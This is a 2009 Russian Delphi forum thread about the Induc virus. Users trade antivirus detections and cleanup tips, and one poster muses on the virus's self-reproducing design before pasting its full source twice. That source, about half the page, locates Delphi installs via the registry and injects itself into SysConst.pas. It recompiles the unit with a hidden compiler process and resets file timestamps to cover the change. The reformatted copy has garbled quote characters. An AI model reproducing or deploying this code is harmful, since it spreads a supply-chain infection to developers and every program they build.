Текущий архив: 2009.10.25;
Скачать: CL | DM;
ВнизОсторожно! Новый вирус, специфичный для Delphi Найти похожие ветки
← →
GrayFace © (2009-08-26 10:12) [80]xayam © (13.08.09 0:24) [37]
допустим конкретика есть, но нет так нет. Меня просто, как и автора статьи удивляет сочетание бесплатность программы/закрытый протокол, все эти противоотладочные действия и т.д. Неужели нас только двое?
По-моему, закономерно. Главное - конкурентов не будет (в отличие от аськи). Ну и мне кажется, что защита от вирусов тоже повышается.
Ega23 © (13.08.09 0:31) [41]
Ну вот например. Я разработал 3Д-движок (а-ля Контра). На базе данного движка я сделал игу и выложил её в сеть. Народ на неё подсел (да и движок оказался хорошим).
А че за игра?
← →
istok20 © (2009-08-26 11:16) [81]
> Это другое, видать последователи появились у вируса. Тот
> в ESET был WIN32/Induc.A
Да, выдавало как Induc.A, после замены sysconst по инструкции стало ругаться на delf.oqx на все скомпиленные exe.
Меня интересует как это лечить, чтоб работать в делфи дальше.
← →
istok20 © (2009-08-26 16:02) [82]каспер на эти exe не ругается, но 15 из 41 антивирусов с virustotal.com - ругаются, часть из них пишут Heuristic.LooksLike.Win32.Banload.I Trojan/Downloader.Banload.aedv Trojan-Downloader/W32.Banload.370176.H
но когда читаю про эти трояны - не нахожу у себя их модулей..
может такое быть что после "лечения" от Induc.A случилось так что exe из delphi стали похои на данного трояна... или всё же у меня наверняка что-то есть злое???
← →
istok20 © (2009-08-26 16:32) [83]решил проблему тем, что стянул Lib с другого компа, пока никто не ругается
← →
TIF © (2009-08-26 17:25) [84]> или всё же у меня наверняка что-то есть злое???
Можно отправить на исследование в ЛК. IMHO, скорее всего ничего не найдут :) Так и ответят
← →
TIF © (2009-08-27 15:49) [85]Нет, я конечно Лабораторию Касперского люблю и уважаю, но на это без боли смотреть не могу:
Как видно, вирус внедряет своей код в файл с расширением dcu — "in dcu". Переставив пару букв местами мы и получаем название, которое нас вполне устроило — Induc.
http://www.securelist.com/ru/weblog/39134/Istoriya_Indyuka
Логика %-))) Боже мой...
← →
RWolf © (2009-08-27 17:13) [86]ну так вирусов миллион, всем имена придумывать — фантазии не напасешься.
← →
Inovet © (2009-08-27 17:56) [87]> [85] TIF © (27.08.09 15:49)
> dcu — "in dcu". Переставив пару букв местами мы и получаем
> название, которое нас вполне устроило — Induc.
>
> Логика %-))) Боже мой...
На так, наведённый типа.
← →
Leonid Troyanovsky © (2009-08-27 19:50) [88]Правильное его имя - интроспективный вирус, IMHO.
Подобной задачкой (правда, без самого паровоза) грузили студентов
не одного поколения. Я первый раз узнал формулировку из хорошей книги
Чарльз Уэзерелл "Этюды для программистов", ЕМНИП.
http://groups.google.com/group/fido7.ru.delphi/browse_thread/thread/727ccc94c2b781d8/9429cab1321636b
Часто обсуждалась в ru.algorithm для разнообразнейших языков,
был и сайт, посвященный оной задаче.
Почему повезло именно дельфи - хз, видимо, для обучения
была широко распространена. А в окружаюшую среду попал, когда,
видимо, начались более серьезные поделки. Вряд ли инфицированный
продукт был средством разработки, скорее игрушка, или тулза, способная
заинтересовать дельферов даже в виде экзешника, не думаю, что
много дельферов обменивались system.dcu.
Смотрю сейчас на оный код и меня терзают смутные сомнения, что
это не дельфер писал, ну, или, не привыкший к дельфи, или часто
скакавший между языками. А уж ошибка в экранировании $
просто смешная, чего ж даже без отладки писалось.
Хотя, возможно, что был найден подходящий по размеру пример
и к нему на коленке вставили зубы.
Пойду еще поразмышляю.
--
Regards, LVT.
← →
Leonid Troyanovsky © (2009-08-27 20:01) [89]Приведу, что ли код, чтоб кому интересно, смотрел здесь.
uses windows;
var sc:array[1..24] of string=("uses windows; var sc:array[1..24] of string=(",
"function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]",
"=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;",
"h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begi n",
"h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle",
"(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile",
"(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while",
"not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0",
"then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2",
",$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,",
"x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$",
")); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.",
"wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,",
"f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),",
"pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,",
"0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=",
"CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,",
"@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of",
"char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(",
"HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then",
"begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=",
"1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+",
"$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;",
"begin st; end.");
function x(s:string):string;
var
i:integer;
begin
for i:=1 to length(s) do
if s[i]=#36 then s[i]:=#39;
result:=s;
end;
procedure re(s,d,e:string);
var
f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+"bak"),0,0,0,3,0,0);
if h<>DWORD(-1) then
begin
CloseHandle(h);
exit;
end;
{"I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then
exit;
assignfile(f2,d+"pas");
rewrite(f2);
if ioresult<>0 then
begin
closefile(f1);
exit;
end;
while not eof(f1) do
begin
readln(f1,s);
writeln(f2,s);
if pos("implementation",s)<>0 then
break;
end;
for h:= 1 to 1 do
writeln(f2,sc[h]);
for h:= 1 to 23 do
writeln(f2,""""+sc[h],""",");
writeln(f2,""""+sc[24]+""");");
for h:= 2 to 24 do
writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
{"I+}MoveFile(pchar(d+"dcu"),pchar(d+"bak"));
fillchar(f,sizeof(f),0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil,pchar(e+"""+d+"pas""),0,0,false,0,0,0,f,p);
if b then
WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+"bak"),pchar(d+"dcu"));
DeleteFile(pchar(d+"pas"));
h := CreateFile(pchar(d+"bak"),0,0,0,3,0,0);
if h=DWORD(-1) then
exit;
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h := CreateFile(pchar(d+"dcu"),256,0,0,3,0,0);
if h=DWORD(-1) then
exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;
procedure st;
var
k:HKEY;
c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
for v:="4" to "7" do
if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar("Software\Borland\Delphi\"+v+".0"),0,KEY_READ,k)=0 then
begin
i:=255;
if RegQueryValueEx(k,"RootDir",nil,@i,@c,@i)=0 then
begin
r:="";
i:=1;
while c[i]<>#0 do
begin
r:=r+c[i];
inc(i);
end;
re(r+"\source\rtl\sys\SysConst"+".pas",r+"\lib\sysconst.","""+r+"\bin\dcc32.exe" ");
end;
RegCloseKey(k);
end;
end;
begin
st;
end.
Форматировал не я, видимо, GunSmoker.
← →
Leonid Troyanovsky © (2009-08-27 22:16) [90]
> Leonid Troyanovsky © (27.08.09 20:01) [89]
Блин, никто даже не отзовется. Чего, меня одного заботы одолели?
Вот оно - Прочее, давайте обсудим.
Дык, по всем, кто трудится в эхотаге уже каток проехал.
Ясное ж дело, что дельфи здесь по воле случая.
Напрягите мыслительную мышцу.
--
Regards, LVT.
← →
Anatoly Podgoretsky © (2009-08-27 22:36) [91]> Leonid Troyanovsky (27.08.2009 22:16:30) [90]
Нафиг ты голову ерундой забиваешь?
← →
Leonid Troyanovsky © (2009-08-27 22:55) [92]
> Anatoly Podgoretsky © (27.08.09 22:36) [91]
> Нафиг ты голову ерундой забиваешь?
А то и верно.
Пойду-ка я, Анатолий, спать, бо тяжелый день завтра -
концемесячная тяпница.
--
Regards, LVT.
Страницы: 1 2 3 вся ветка
Текущий архив: 2009.10.25;
Скачать: CL | DM;
Память: 0.62 MB
Время: 0.046 c